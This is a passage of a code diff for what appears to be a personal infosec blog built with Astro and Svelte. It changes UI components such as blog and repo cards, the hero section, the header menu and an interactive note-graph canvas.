banner_url: `${GITEA_BASE}/${repo.full_name}/raw/branch/main/.github/assets/banner.png` banner_url: `${GITEA_BASE}/${repo.full_name}/raw/branch/main/.github/assets/banner.png`,
})); }));
const dataDir = join(process.cwd(), "src/data"); const dataDir = join(process.cwd(), "src/data");
await mkdir(dataDir, { recursive: true }); await mkdir(dataDir, { recursive: true });
await Bun.write( await Bun.write(join(dataDir, "repos.json"), JSON.stringify(repos, null, 2));
join(dataDir, "repos.json"),
JSON.stringify(repos, null, 2)
);
console.log(`Saved ${repos.length} repos to src/data/repos.json`); console.log(`Saved ${repos.length} repos to src/data/repos.json`);
} }
+26
View File
@@ -0,0 +1,26 @@
---
import { Image } from "astro:assets";
const avatar = "/avatar.jpg";
const username = "anotherhadi";
const bio = "Infosec engineer.";
---
<div class="flex flex-wrap gap-3 justify-start">
<div
class="ring-base-300 ring-offset-base-100 rounded-full ring-2 ring-offset-2 flex justify-center items-center"
>
<Image
src={avatar}
alt="anotherhadi avatar"
class="rounded-full m-auto"
width={36}
height={36}
/>
</div>
<div>
<p class="text-sm font-semibold">
<a href="/"><span class="text-base-content/40">@</span>{username}</a>
</p>
<p class="text-xs text-base-content/60">{bio}</p>
</div>
</div>
+1 -1
View File
@@ -1,5 +1,5 @@
--- ---
import { ArrowUp } from "lucide-astro"; import { ArrowUp } from "@lucide/astro";
--- ---
<button <button
+10 -5
View File
@@ -18,14 +18,19 @@ const latestPosts = sortedPosts.slice(0, 3);
<div class="max-w-6xl mx-auto"> <div class="max-w-6xl mx-auto">
<div class="text-center mb-12"> <div class="text-center mb-12">
<h2 class="text-4xl font-bold mb-4">Latest Blog Posts</h2> <h2 class="text-4xl font-bold mb-4">Latest Blog Posts</h2>
<p class="text-lg text-base-content/70">
Thoughts, insights, and tutorials on cybersecurity, OSINT, and
technology.
</p>
</div> </div>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6"> <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
{latestPosts.map((post) => <BlogCard post={post} />)} {
latestPosts.map((post) => (
<BlogCard
displayBanner={false}
displayTags={false}
displayDate={false}
post={post}
/>
))
}
</div> </div>
<div class="text-center mt-12"> <div class="text-center mt-12">
+13 -14
View File
@@ -2,26 +2,23 @@
import type { CollectionEntry } from "astro:content"; import type { CollectionEntry } from "astro:content";
import TagBadge from "./TagBadge.astro"; import TagBadge from "./TagBadge.astro";
import { Image } from "astro:assets"; import { Image } from "astro:assets";
import { formatDate } from "../utils/notes";
interface Props { interface Props {
displayBanner: boolean;
displayDate: boolean;
displayTags: boolean;
post: CollectionEntry<"blog">; post: CollectionEntry<"blog">;
} }
const { post } = Astro.props; const { post } = Astro.props;
function formatDate(date: Date) {
const options: Intl.DateTimeFormatOptions = {
month: "long",
day: "numeric",
year: "numeric",
};
return date.toLocaleDateString("en-US", options);
}
--- ---
<article <article
class="card bg-base-100 shadow-xl border border-base-200 rounded-lg hover:shadow-2xl transition-shadow" class="card bg-base-100 shadow-xl border border-base-200 rounded-lg hover:shadow-2xl transition-shadow"
> >
{ Astro.props.displayBanner && (
<figure class="aspect-video"> <figure class="aspect-video">
<Image <Image
src={post.data.image} src={post.data.image}
@@ -31,25 +28,27 @@ function formatDate(date: Date) {
height={400} height={400}
/> />
</figure> </figure>
)}
<div class="card-body"> <div class="card-body">
{ Astro.props.displayDate && (
<time class="text-sm text-base-content/60"> <time class="text-sm text-base-content/60">
{formatDate(post.data.publishDate)} {formatDate(post.data.publishDate)}
</time> </time>
)}
<h2 class="card-title hover:text-primary transition-colors"> <h2 class="card-title hover:text-primary transition-colors">
<a href={`/blog/${post.id}`}>{post.data.title}</a> <a href={`/blog/${post.id}`}>{post.data.title}</a>
</h2> </h2>
<p class="text-base-content/80">{post.data.description}</p> <p class="text-base-content/80">{post.data.description}</p>
{
post.data.tags && post.data.tags.length > 0 && ( { Astro.props.displayTags && post.data.tags && post.data.tags.length > 0 && (
<div class="flex flex-wrap gap-2 mt-2"> <div class="flex flex-wrap gap-2 mt-2">
{post.data.tags.map((tag) => ( {post.data.tags.map((tag) => (
<TagBadge tag={tag} /> <TagBadge tag={tag} />
))} ))}
</div> </div>
) )}
}
<div class="card-actions justify-end mt-4"> <div class="card-actions justify-end mt-4">
<a href={`/blog/${post.id}`} class="btn btn-primary btn-sm"> <a href={`/blog/${post.id}`} class="btn btn-soft btn-primary btn-sm">
Read More Read More
</a> </a>
</div> </div>
+66 -53
View File
@@ -2,6 +2,7 @@
import { ExternalLink, ChevronDown } from "@lucide/astro"; import { ExternalLink, ChevronDown } from "@lucide/astro";
interface Props { interface Props {
displayBanner: boolean;
repo: { repo: {
name: string; name: string;
description: string; description: string;
@@ -19,8 +20,12 @@ interface Props {
const { repo } = Astro.props; const { repo } = Astro.props;
const platforms = [ const platforms = [
...(repo.mirrors.github ? [{ label: "GitHub", url: repo.mirrors.github }] : []), ...(repo.mirrors.github
...(repo.mirrors.gitlab ? [{ label: "GitLab", url: repo.mirrors.gitlab }] : []), ? [{ label: "GitHub", url: repo.mirrors.github }]
: []),
...(repo.mirrors.gitlab
? [{ label: "GitLab", url: repo.mirrors.gitlab }]
: []),
{ label: "Gitea", url: repo.html_url }, { label: "Gitea", url: repo.html_url },
]; ];
@@ -30,6 +35,7 @@ const hasMultiplePlatforms = platforms.length > 1;
<article <article
class="card bg-base-100 shadow-xl border border-base-200 rounded-lg hover:shadow-2xl transition-shadow" class="card bg-base-100 shadow-xl border border-base-200 rounded-lg hover:shadow-2xl transition-shadow"
> >
{ Astro.props.displayBanner && repo.banner_url && (
<figure class="aspect-video bg-base-200 overflow-hidden"> <figure class="aspect-video bg-base-200 overflow-hidden">
<img <img
src={repo.banner_url} src={repo.banner_url}
@@ -38,6 +44,7 @@ const hasMultiplePlatforms = platforms.length > 1;
onerror="this.parentElement.style.display='none'" onerror="this.parentElement.style.display='none'"
/> />
</figure> </figure>
)}
<div class="card-body"> <div class="card-body">
<h2 class="card-title hover:text-primary transition-colors"> <h2 class="card-title hover:text-primary transition-colors">
@@ -46,64 +53,70 @@ const hasMultiplePlatforms = platforms.length > 1;
</a> </a>
</h2> </h2>
{repo.description && ( {repo.description && <p class="text-base-content/80">{repo.description}</p>}
<p class="text-base-content/80">{repo.description}</p>
)}
<div class="flex flex-wrap gap-2 mt-2"> <div class="flex flex-wrap gap-2 mt-2">
{repo.topics.map((topic) => ( {
<span class="badge badge-sm rounded-sm badge-soft badge-accent"> repo.topics.map((topic) => (
{topic} <span class="badge badge-sm rounded-sm badge-soft badge-accent">
</span> {topic}
))} </span>
))
}
</div> </div>
<div class="card-actions justify-end mt-4 gap-2"> <div class="card-actions justify-end mt-4 gap-2">
{repo.website && ( {
repo.website && (
<a <a
href={repo.website} href={repo.website}
target="_blank" target="_blank"
rel="noopener noreferrer" rel="noopener noreferrer"
class="btn btn-soft btn-sm gap-1" class="btn btn-soft btn-sm gap-1"
>
<ExternalLink class="size-4" />
Website
</a>
)}
{hasMultiplePlatforms ? (
<div class="dropdown dropdown-end">
<div tabindex="0" role="button" class="btn btn-primary btn-sm gap-1">
<ExternalLink class="size-4" />
View Source
<ChevronDown class="size-3" />
</div>
<ul
tabindex="0"
class="dropdown-content menu bg-base-100 rounded-xl z-10 w-36 p-1.5 shadow border border-base-200 text-sm"
> >
{platforms.map(({ label, url }) => ( <ExternalLink class="size-4" />
<li> Website
<a href={url} target="_blank" rel="noopener noreferrer"> </a>
{label} )
</a> }
</li>
))}
</ul>
</div>
) : (
<a {
href={repo.html_url} hasMultiplePlatforms ? (
target="_blank" <div class="dropdown dropdown-end">
rel="noopener noreferrer" <div
class="btn btn-primary btn-sm gap-1" tabindex="0"
> role="button"
<ExternalLink class="size-4" /> class="btn btn-soft btn-primary btn-sm gap-1"
View on Gitea >
</a> <ExternalLink class="size-4" />
)} View Source
<ChevronDown class="size-3" />
</div>
<ul
tabindex="0"
class="dropdown-content menu bg-base-100 rounded-xl z-10 w-36 p-1.5 shadow border border-base-200 text-sm"
>
{platforms.map(({ label, url }) => (
<li>
<a href={url} target="_blank" rel="noopener noreferrer">
{label}
</a>
</li>
))}
</ul>
</div>
) : (
<a
href={repo.html_url}
target="_blank"
rel="noopener noreferrer"
class="btn btn-soft btn-primary btn-sm gap-1"
>
<ExternalLink class="size-4" />
View on Gitea
</a>
)
}
</div> </div>
</div> </div>
</article> </article>
+43 -58
View File
@@ -1,39 +1,34 @@
--- ---
import { ArrowRight, FolderCode, Key, Rss } from "@lucide/astro"; import { FolderCode, Key, Rss } from "@lucide/astro";
import { Image } from "astro:assets"; import { Image } from "astro:assets";
import type { SocialLinks } from "../config";
interface Props { interface Props {
name: string; name: string;
title: string; title: string;
description: string; description: string;
avatar: any; avatar: any;
location?: string; socialLinks?: SocialLinks;
socialLinks?: {
github?: string;
gitlab?: string;
gitea?: string;
linkedin?: string;
twitter?: string;
bluesky?: string;
instagram?: string;
youTube?: string;
medium?: string;
kofi?: string;
codetips?: string;
};
gpgKey?: string; gpgKey?: string;
rssFeed?: string; rssFeed?: string;
} }
const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed } = const {
Astro.props; name,
title,
description,
avatar,
socialLinks,
gpgKey,
rssFeed,
} = Astro.props;
--- ---
<section class="hero min-h-[65vh]"> <section class="hero py-20">
<div class="hero-content flex-col lg:flex-row-reverse max-w-7xl gap-8"> <div class="hero-content flex-col lg:flex-row-reverse max-w-7xl gap-10">
<div class="avatar"> <div class="avatar">
<div <div
class="w-48 ring-primary ring-offset-base-100 rounded-full ring-2 ring-offset-2" class="w-32 md:w-48 ring-primary ring-offset-base-100 rounded-full ring-2 ring-offset-2"
> >
<Image src={avatar} alt={name} /> <Image src={avatar} alt={name} />
</div> </div>
@@ -43,8 +38,7 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
Hi, I'm {name} Hi, I'm {name}
</h1> </h1>
<p class="text-xl text-base-content/80 mb-2">{title}</p> <p class="text-xl text-base-content/80 mb-2">{title}</p>
{location && <p class="text-base-content/60 mb-4">{location}</p>} <p class="text-lg max-w-lg leading-relaxed mb-6">
<p class="text-lg leading-relaxed mb-6">
{description} {description}
</p> </p>
{ {
@@ -84,30 +78,36 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
width="24" width="24"
height="24" height="24"
fill="currentColor" fill="currentColor"
role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> role="img"
<path d="m23.6004 9.5927-.0337-.0862L20.3.9814a.851.851 0 0 0-.3362-.405.8748.8748 0 0 0-.9997.0539.8748.8748 0 0 0-.29.4399l-2.2055 6.748H7.5375l-2.2057-6.748a.8573.8573 0 0 0-.29-.4412.8748.8748 0 0 0-.9997-.0537.8585.8585 0 0 0-.3362.4049L.4332 9.5015l-.0325.0862a6.0657 6.0657 0 0 0 2.0119 7.0105l.0113.0087.03.0213 4.976 3.7264 2.462 1.8633 1.4995 1.1321a1.0085 1.0085 0 0 0 1.2197 0l1.4995-1.1321 2.4619-1.8633 5.006-3.7489.0125-.01a6.0682 6.0682 0 0 0 2.0094-7.003z"/> viewBox="0 0 24 24"
xmlns="http://www.w3.org/2000/svg"
>
<path d="m23.6004 9.5927-.0337-.0862L20.3.9814a.851.851 0 0 0-.3362-.405.8748.8748 0 0 0-.9997.0539.8748.8748 0 0 0-.29.4399l-2.2055 6.748H7.5375l-2.2057-6.748a.8573.8573 0 0 0-.29-.4412.8748.8748 0 0 0-.9997-.0537.8585.8585 0 0 0-.3362.4049L.4332 9.5015l-.0325.0862a6.0657 6.0657 0 0 0 2.0119 7.0105l.0113.0087.03.0213 4.976 3.7264 2.462 1.8633 1.4995 1.1321a1.0085 1.0085 0 0 0 1.2197 0l1.4995-1.1321 2.4619-1.8633 5.006-3.7489.0125-.01a6.0682 6.0682 0 0 0 2.0094-7.003z" />
</svg> </svg>
</a> </a>
</div> </div>
)} )}
{socialLinks.gitea && ( {socialLinks.gitea && (
<div class="tooltip" data-tip="Gitea"> <div class="tooltip" data-tip="Gitea">
<a <a
href={socialLinks.gitea} href={socialLinks.gitea}
target="_blank" target="_blank"
rel="noopener noreferrer" rel="noopener noreferrer"
class="btn btn-circle btn-ghost" class="btn btn-circle btn-ghost"
aria-label="Gitea" aria-label="Gitea"
> >
<svg <svg
width="24" width="24"
height="24" height="24"
fill="currentColor" fill="currentColor"
role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> role="img"
<path d="M4.209 4.603c-.247 0-.525.02-.84.088-.333.07-1.28.283-2.054 1.027C-.403 7.25.035 9.685.089 10.052c.065.446.263 1.687 1.21 2.768 1.749 2.141 5.513 2.092 5.513 2.092s.462 1.103 1.168 2.119c.955 1.263 1.936 2.248 2.89 2.367 2.406 0 7.212-.004 7.212-.004s.458.004 1.08-.394c.535-.324 1.013-.893 1.013-.893s.492-.527 1.18-1.73c.21-.37.385-.729.538-1.068 0 0 2.107-4.471 2.107-8.823-.042-1.318-.367-1.55-.443-1.627-.156-.156-.366-.153-.366-.153s-4.475.252-6.792.306c-.508.011-1.012.023-1.512.027v4.474l-.634-.301c0-1.39-.004-4.17-.004-4.17-1.107.016-3.405-.084-3.405-.084s-5.399-.27-5.987-.324c-.187-.011-.401-.032-.648-.032zm.354 1.832h.111s.271 2.269.6 3.597C5.549 11.147 6.22 13 6.22 13s-.996-.119-1.641-.348c-.99-.324-1.409-.714-1.409-.714s-.73-.511-1.096-1.52C1.444 8.73 2.021 7.7 2.021 7.7s.32-.859 1.47-1.145c.395-.106.863-.12 1.072-.12zm8.33 2.554c.26.003.509.127.509.127l.868.422-.529 1.075a.686.686 0 0 0-.614.359.685.685 0 0 0 .072.756l-.939 1.924a.69.69 0 0 0-.66.527.687.687 0 0 0 .347.763.686.686 0 0 0 .867-.206.688.688 0 0 0-.069-.882l.916-1.874a.667.667 0 0 0 .237-.02.657.657 0 0 0 .271-.137 8.826 8.826 0 0 1 1.016.512.761.761 0 0 1 .286.282c.073.21-.073.569-.073.569-.087.29-.702 1.55-.702 1.55a.692.692 0 0 0-.676.477.681.681 0 1 0 1.157-.252c.073-.141.141-.282.214-.431.19-.397.515-1.16.515-1.16.035-.066.218-.394.103-.814-.095-.435-.48-.638-.48-.638-.467-.301-1.116-.58-1.116-.58s0-.156-.042-.27a.688.688 0 0 0-.148-.241l.516-1.062 2.89 1.401s.48.218.583.619c.073.282-.019.534-.069.657-.24.587-2.1 4.317-2.1 4.317s-.232.554-.748.588a1.065 1.065 0 0 1-.393-.045l-.202-.08-4.31-2.1s-.417-.218-.49-.596c-.083-.31.104-.691.104-.691l2.073-4.272s.183-.37.466-.497a.855.855 0 0 1 .35-.077z"/> viewBox="0 0 24 24"
</svg> xmlns="http://www.w3.org/2000/svg"
</a> >
</div> <path d="M4.209 4.603c-.247 0-.525.02-.84.088-.333.07-1.28.283-2.054 1.027C-.403 7.25.035 9.685.089 10.052c.065.446.263 1.687 1.21 2.768 1.749 2.141 5.513 2.092 5.513 2.092s.462 1.103 1.168 2.119c.955 1.263 1.936 2.248 2.89 2.367 2.406 0 7.212-.004 7.212-.004s.458.004 1.08-.394c.535-.324 1.013-.893 1.013-.893s.492-.527 1.18-1.73c.21-.37.385-.729.538-1.068 0 0 2.107-4.471 2.107-8.823-.042-1.318-.367-1.55-.443-1.627-.156-.156-.366-.153-.366-.153s-4.475.252-6.792.306c-.508.011-1.012.023-1.512.027v4.474l-.634-.301c0-1.39-.004-4.17-.004-4.17-1.107.016-3.405-.084-3.405-.084s-5.399-.27-5.987-.324c-.187-.011-.401-.032-.648-.032zm.354 1.832h.111s.271 2.269.6 3.597C5.549 11.147 6.22 13 6.22 13s-.996-.119-1.641-.348c-.99-.324-1.409-.714-1.409-.714s-.73-.511-1.096-1.52C1.444 8.73 2.021 7.7 2.021 7.7s.32-.859 1.47-1.145c.395-.106.863-.12 1.072-.12zm8.33 2.554c.26.003.509.127.509.127l.868.422-.529 1.075a.686.686 0 0 0-.614.359.685.685 0 0 0 .072.756l-.939 1.924a.69.69 0 0 0-.66.527.687.687 0 0 0 .347.763.686.686 0 0 0 .867-.206.688.688 0 0 0-.069-.882l.916-1.874a.667.667 0 0 0 .237-.02.657.657 0 0 0 .271-.137 8.826 8.826 0 0 1 1.016.512.761.761 0 0 1 .286.282c.073.21-.073.569-.073.569-.087.29-.702 1.55-.702 1.55a.692.692 0 0 0-.676.477.681.681 0 1 0 1.157-.252c.073-.141.141-.282.214-.431.19-.397.515-1.16.515-1.16.035-.066.218-.394.103-.814-.095-.435-.48-.638-.48-.638-.467-.301-1.116-.58-1.116-.58s0-.156-.042-.27a.688.688 0 0 0-.148-.241l.516-1.062 2.89 1.401s.48.218.583.619c.073.282-.019.534-.069.657-.24.587-2.1 4.317-2.1 4.317s-.232.554-.748.588a1.065 1.065 0 0 1-.393-.045l-.202-.08-4.31-2.1s-.417-.218-.49-.596c-.083-.31.104-.691.104-.691l2.073-4.272s.183-.37.466-.497a.855.855 0 0 1 .35-.077z" />
</svg>
</a>
</div>
)} )}
{socialLinks.linkedin && ( {socialLinks.linkedin && (
<div class="tooltip" data-tip="Linkedin"> <div class="tooltip" data-tip="Linkedin">
@@ -191,10 +191,10 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
</a> </a>
</div> </div>
)} )}
{socialLinks.youTube && ( {socialLinks.youtube && (
<div class="tooltip" data-tip="Youtube"> <div class="tooltip" data-tip="Youtube">
<a <a
href={socialLinks.youTube} href={socialLinks.youtube}
class="btn btn-circle btn-ghost" class="btn btn-circle btn-ghost"
aria-label="YouTube" aria-label="YouTube"
target="_blank" target="_blank"
@@ -332,21 +332,6 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
</div> </div>
) )
} }
<div class="mt-12 flex flex-wrap gap-5">
<a href="/blog" class="btn btn-ghost gap-2">
Blog Posts
<ArrowRight class="size-4" />
</a>
<a href="/projects" class="btn btn-ghost gap-2">
Projects
<ArrowRight class="size-4" />
</a>
<a href="/#contact" class="btn btn-ghost gap-2">
Contact Me
<ArrowRight class="size-4" />
</a>
</div>
</div> </div>
</div> </div>
</section> </section>
+27 -10
View File
@@ -4,7 +4,7 @@ const pathname = Astro.url.pathname;
const links = [ const links = [
{ href: "/", label: "home" }, { href: "/", label: "home" },
{ href: "/blog", label: "blog" }, { href: "/blog", label: "blog" },
{ href: "/notes", label: "notes" }, { href: "/notes", label: "infosec notes" },
{ href: "/projects", label: "projects" }, { href: "/projects", label: "projects" },
]; ];
@@ -15,10 +15,12 @@ function isActive(href: string) {
--- ---
<header <header
class="fixed top-0 left-0 right-0 z-50 h-12 flex items-center px-5" class="fixed top-0 left-0 right-0 z-[60] h-12 flex items-center px-5"
style="background: oklch(0% 0 0 / 0.85); backdrop-filter: blur(12px); border-bottom: 1px solid oklch(22% 0 0);" style="background: oklch(0% 0 0 / 0.85); backdrop-filter: blur(12px); border-bottom: 1px solid oklch(22% 0 0);"
> >
<div class="flex items-center justify-between w-full max-w-screen-xl mx-auto"> <div
class="flex items-center justify-between w-full max-w-screen-2xl mx-auto"
>
<a <a
href="/" href="/"
class="font-mono text-sm text-base-content/40 hover:text-primary transition-colors duration-200 tracking-tight" class="font-mono text-sm text-base-content/40 hover:text-primary transition-colors duration-200 tracking-tight"
@@ -26,6 +28,13 @@ function isActive(href: string) {
~/hadi ~/hadi
</a> </a>
<div
id="oneko-track"
transition:persist
class="flex-1 relative h-12 pointer-events-none"
>
</div>
<nav class="hidden md:flex items-center"> <nav class="hidden md:flex items-center">
{ {
links.map((link) => ( links.map((link) => (
@@ -56,16 +65,22 @@ function isActive(href: string) {
class="md:hidden flex flex-col gap-1 p-2 text-base-content/40 hover:text-base-content/70 transition-colors" class="md:hidden flex flex-col gap-1 p-2 text-base-content/40 hover:text-base-content/70 transition-colors"
aria-label="Toggle menu" aria-label="Toggle menu"
> >
<span class="hamburger-line block w-4 h-px bg-current transition-all duration-200"></span> <span
<span class="hamburger-line block w-4 h-px bg-current transition-all duration-200"></span> class="hamburger-line block w-4 h-px bg-current transition-all duration-200"
<span class="hamburger-line block w-4 h-px bg-current transition-all duration-200"></span> ></span>
<span
class="hamburger-line block w-4 h-px bg-current transition-all duration-200"
></span>
<span
class="hamburger-line block w-4 h-px bg-current transition-all duration-200"
></span>
</button> </button>
</div> </div>
</header> </header>
<div <div
id="mobile-menu" id="mobile-menu"
class="hidden fixed inset-x-0 top-12 z-40 md:hidden border-b border-base-300/60 py-2" class="hidden fixed inset-x-0 top-12 z-[59] md:hidden border-b border-base-300/60 py-2"
style="background: oklch(2% 0 0 / 0.97); backdrop-filter: blur(12px);" style="background: oklch(2% 0 0 / 0.97); backdrop-filter: blur(12px);"
> >
{ {
@@ -95,8 +110,6 @@ function isActive(href: string) {
if (!btn || !menu) return; if (!btn || !menu) return;
const lines = btn.querySelectorAll<HTMLElement>(".hamburger-line"); const lines = btn.querySelectorAll<HTMLElement>(".hamburger-line");
let open = false; let open = false;
open = false;
menu.style.display = "none"; menu.style.display = "none";
lines[0].style.transform = ""; lines[0].style.transform = "";
lines[1].style.opacity = ""; lines[1].style.opacity = "";
@@ -111,7 +124,11 @@ function isActive(href: string) {
}); });
document.addEventListener("click", (e) => { document.addEventListener("click", (e) => {
if (open && !btn.contains(e.target as Node) && !menu.contains(e.target as Node)) { if (
open &&
!btn.contains(e.target as Node) &&
!menu.contains(e.target as Node)
) {
open = false; open = false;
menu.style.display = "none"; menu.style.display = "none";
lines[0].style.transform = ""; lines[0].style.transform = "";
+279
View File
@@ -0,0 +1,279 @@
<script lang="ts">
import { onMount } from "svelte";
interface GNode {
id: string;
title: string;
current: boolean;
}
interface GEdge {
from: string;
to: string;
}
interface Props {
nodes?: GNode[];
edges?: GEdge[];
}
const { nodes = [], edges = [] }: Props = $props();
const PRIMARY = "oklch(71% 0.0863 296.59)";
let canvas: HTMLCanvasElement;
function startAnimation(): () => void {
if (!canvas || nodes.length === 0) return () => {};
const W = (canvas.width = canvas.offsetWidth);
const H = (canvas.height = 190);
const ctx = canvas.getContext("2d")!;
type SimNode = GNode & { x: number; y: number; vx: number; vy: number };
const simNodes: SimNode[] = nodes.map((n) => ({
...n,
x: n.current ? W / 2 : W / 2 + (Math.random() - 0.5) * 80,
y: n.current ? H / 2 : H / 2 + (Math.random() - 0.5) * 80,
vx: 0,
vy: 0,
}));
let dragging: SimNode | null = null;
let hovered: SimNode | null = null;
function nodeAt(x: number, y: number): SimNode | null {
return (
simNodes.find((n) => {
const dx = n.x - x,
dy = n.y - y;
return Math.sqrt(dx * dx + dy * dy) < (n.current ? 10 : 8);
}) ?? null
);
}
function tick() {
for (let i = 0; i < simNodes.length; i++) {
for (let j = i + 1; j < simNodes.length; j++) {
const a = simNodes[i],
b = simNodes[j];
const dx = b.x - a.x,
dy = b.y - a.y;
const d = Math.sqrt(dx * dx + dy * dy) || 1;
const f = 900 / (d * d);
a.vx -= (dx / d) * f;
a.vy -= (dy / d) * f;
b.vx += (dx / d) * f;
b.vy += (dy / d) * f;
}
}
for (const e of edges) {
const a = simNodes.find((n) => n.id === e.from);
const b = simNodes.find((n) => n.id === e.to);
if (!a || !b) continue;
const dx = b.x - a.x,
dy = b.y - a.y;
const d = Math.sqrt(dx * dx + dy * dy) || 1;
const f = (d - 75) * 0.04;
a.vx += (dx / d) * f;
a.vy += (dy / d) * f;
b.vx -= (dx / d) * f;
b.vy -= (dy / d) * f;
}
for (const n of simNodes) {
n.vx += (W / 2 - n.x) * 0.025;
n.vy += (H / 2 - n.y) * 0.025;
}
for (const n of simNodes) {
if (n === dragging) continue;
n.vx *= 0.78;
n.vy *= 0.78;
n.x = Math.max(16, Math.min(W - 16, n.x + n.vx));
n.y = Math.max(16, Math.min(H - 16, n.y + n.vy));
}
}
function draw() {
ctx.clearRect(0, 0, W, H);
ctx.fillStyle = "oklch(2% 0 0)";
ctx.fillRect(0, 0, W, H);
const connected = new Set<string>();
if (hovered) {
for (const e of edges) {
if (e.from === hovered.id) connected.add(e.to);
if (e.to === hovered.id) connected.add(e.from);
}
}
for (const e of edges) {
const a = simNodes.find((n) => n.id === e.from);
const b = simNodes.find((n) => n.id === e.to);
if (!a || !b) continue;
const lit =
hovered && (e.from === hovered.id || e.to === hovered.id);
ctx.beginPath();
ctx.moveTo(a.x, a.y);
ctx.lineTo(b.x, b.y);
ctx.strokeStyle = lit ? "oklch(55% 0 0)" : "oklch(27% 0 0)";
ctx.lineWidth = lit ? 1.5 : 1;
ctx.stroke();
}
for (const n of simNodes) {
const isHov = hovered?.id === n.id;
const isCon = connected.has(n.id);
const r = n.current ? 7 : isHov ? 6 : 4.5;
if (isHov && !n.current) {
ctx.beginPath();
ctx.arc(n.x, n.y, r + 5, 0, Math.PI * 2);
ctx.fillStyle = "oklch(71% 0.0863 296.59 / 0.15)";
ctx.fill();
}
ctx.beginPath();
ctx.arc(n.x, n.y, r, 0, Math.PI * 2);
ctx.fillStyle = n.current
? PRIMARY
: isHov
? "oklch(78% 0.05 296.59)"
: isCon
? "oklch(58% 0.03 296.59)"
: "oklch(40% 0 0)";
ctx.fill();
if (n.current || isHov || isCon) {
ctx.font = `${n.current ? "10px" : "9px"} monospace`;
ctx.textAlign = "center";
ctx.fillStyle = n.current ? "oklch(87% 0 0)" : "oklch(62% 0 0)";
const label =
n.title.length > 14 ? n.title.slice(0, 13) + "…" : n.title;
ctx.fillText(label, n.x, n.y + r + 9);
}
}
}
let animId: number;
function loop() {
tick();
draw();
animId = requestAnimationFrame(loop);
}
animId = requestAnimationFrame(loop);
const onMousedown = (e: MouseEvent) => {
const r = canvas.getBoundingClientRect();
const sx = W / canvas.offsetWidth;
dragging = nodeAt(
(e.clientX - r.left) * sx,
(e.clientY - r.top) * (H / canvas.offsetHeight),
);
};
const onMousemove = (e: MouseEvent) => {
const r = canvas.getBoundingClientRect();
const sx = W / canvas.offsetWidth;
const x = (e.clientX - r.left) * sx;
const y = (e.clientY - r.top) * (H / canvas.offsetHeight);
if (dragging) {
dragging.x = x;
dragging.y = y;
dragging.vx = 0;
dragging.vy = 0;
}
hovered = nodeAt(x, y);
canvas.style.cursor =
hovered && !hovered.current ? "pointer" : "default";
};
const onMouseup = () => {
dragging = null;
};
const onMouseleave = () => {
dragging = null;
hovered = null;
};
const onClick = (e: MouseEvent) => {
const r = canvas.getBoundingClientRect();
const sx = W / canvas.offsetWidth;
const n = nodeAt(
(e.clientX - r.left) * sx,
(e.clientY - r.top) * (H / canvas.offsetHeight),
);
if (n && !n.current) window.location.href = `/notes/${n.id}`;
};
canvas.addEventListener("mousedown", onMousedown);
canvas.addEventListener("mousemove", onMousemove);
canvas.addEventListener("mouseup", onMouseup);
canvas.addEventListener("mouseleave", onMouseleave);
canvas.addEventListener("click", onClick);
return () => {
cancelAnimationFrame(animId);
canvas.removeEventListener("mousedown", onMousedown);
canvas.removeEventListener("mousemove", onMousemove);
canvas.removeEventListener("mouseup", onMouseup);
canvas.removeEventListener("mouseleave", onMouseleave);
canvas.removeEventListener("click", onClick);
};
}
onMount(() => {
const drawer = document.getElementById(
"graph-drawer",
) as HTMLInputElement | null;
const outerDrawer =
drawer?.closest<HTMLElement>(".drawer.drawer-end") ?? null;
let stopFn: (() => void) | null = null;
function isVisible() {
return (
(drawer?.checked ?? false) ||
(outerDrawer?.classList.contains("xl:drawer-open") ?? false)
);
}
function start() {
if (stopFn) return;
stopFn = startAnimation();
}
function stop() {
stopFn?.();
stopFn = null;
}
if (isVisible()) start();
const onDrawerChange = () => {
isVisible() ? start() : stop();
};
drawer?.addEventListener("change", onDrawerChange);
// Watch for xl:drawer-open class toggled by the graph button script
const observer = new MutationObserver(() => {
isVisible() ? start() : stop();
});
if (outerDrawer) {
observer.observe(outerDrawer, {
attributes: true,
attributeFilter: ["class"],
});
}
return () => {
stop();
drawer?.removeEventListener("change", onDrawerChange);
observer.disconnect();
};
});
</script>
<!-- svelte-ignore a11y_no_interactive_element_to_noninteractive_role -->
<canvas
bind:this={canvas}
height="190"
role="img"
aria-label="Graph of linked notes"
style="width:100%; display:block; background: oklch(2% 0 0); cursor:default;"
></canvas>
+130
View File
@@ -0,0 +1,130 @@
---
import NoteGraph from "./NoteGraph.svelte";
import Author from "./Author.astro";
import { formatDate } from "../utils/notes";
import type { CollectionEntry } from "astro:content";
interface Props {
entry: CollectionEntry<"notes">;
graphNodes: { id: string; title: string; current: boolean }[];
graphEdges: { from: string; to: string }[];
forwardLinks: CollectionEntry<"notes">[];
backlinks: CollectionEntry<"notes">[];
externalLinks: { url: string; label: string }[];
}
const { entry, graphNodes, graphEdges, forwardLinks, backlinks, externalLinks } = Astro.props;
---
<aside
id="right-sidebar"
class="w-52 flex flex-col border-l border-base-300/60 h-full overflow-y-auto"
style="background: oklch(4% 0 0);"
>
<div class="border-b border-base-300/40">
<p
class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest px-3 pt-3 pb-2"
>
graph
</p>
<NoteGraph client:load nodes={graphNodes} edges={graphEdges} />
{
graphNodes.length < 2 && (
<p class="font-mono text-[9px] text-base-content/20 text-center py-2">
no connections yet
</p>
)
}
</div>
{
forwardLinks.length > 0 && (
<div class="p-3 border-b border-base-300/40">
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">
links
</p>
<ul class="space-y-1">
{forwardLinks.map((n) => (
<li>
<a
href={`/notes/${n.id}`}
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate"
>
→ {n.data.title}
</a>
</li>
))}
</ul>
</div>
)
}
{
backlinks.length > 0 && (
<div class="p-3">
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">
backlinks
</p>
<ul class="space-y-1">
